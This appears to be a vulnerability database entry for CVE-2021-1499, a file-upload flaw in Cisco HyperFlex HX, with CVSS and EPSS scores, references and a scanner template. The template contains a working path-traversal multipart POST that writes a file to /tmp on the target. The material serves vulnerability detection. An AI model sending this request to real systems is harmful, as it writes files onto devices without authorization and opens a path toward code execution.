CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
99.5%
Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user.
id: CVE-2021-1499
info:
name: Cisco HyperFlex HX Data Platform - Arbitrary File Upload
author: gy741
severity: medium
description: Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user.
impact: |
Allows an attacker to upload and execute arbitrary files on the target system
remediation: |
Apply the necessary security patches or updates provided by Cisco
reference:
- https://swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz
- http://packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-1499
- https://github.com/Z0fhack/Goby_POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
cvss-score: 5.3
cve-id: CVE-2021-1499
cwe-id: CWE-306
epss-score: 0.96279
epss-percentile: 0.99533
cpe: cpe:2.3:h:cisco:hyperflex_hx220c_af_m5:-:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cisco
product: hyperflex_hx220c_af_m5
tags: cve2021,cve,fileupload,intrusive,packetstorm,cisco
http:
- raw:
- |
POST /upload HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583
Origin: {{RootURL}}
Referer: {{RootURL}}
-----------------------------253855577425106594691130420583
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/passwd9"
Content-Type: application/json
MyPasswdNewData->/api/tomcat
-----------------------------253855577425106594691130420583--
matchers-condition: and
matchers:
- type: word
words:
- '{"result":'
- '"filename:'
- '/tmp/passwd9'
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
# digest: 490a00463044022047a94956d0dce5fbe975b4a114d42b880079fb3bc63eb98ed3c8cd812fb2ae7602206c830f63a53f40ebb1e75f05b66028bd7a139bc67c7cb3b2b12ebf01275be12a:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/163203/Cisco-HyperFlex-HX-Data-Platform-File-Upload-Remote-Code-Execution.html
github.com/Z0fhack/Goby_POC
nvd.nist.gov/vuln/detail/CVE-2021-1499
swarm.ptsecurity.com/cisco-hyperflex-how-we-got-rce-through-login-form-and-other-findings/
tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-hyperflex-upload-KtCK8Ugz
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:L/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
AI Score
Confidence
High
EPSS
Percentile
99.5%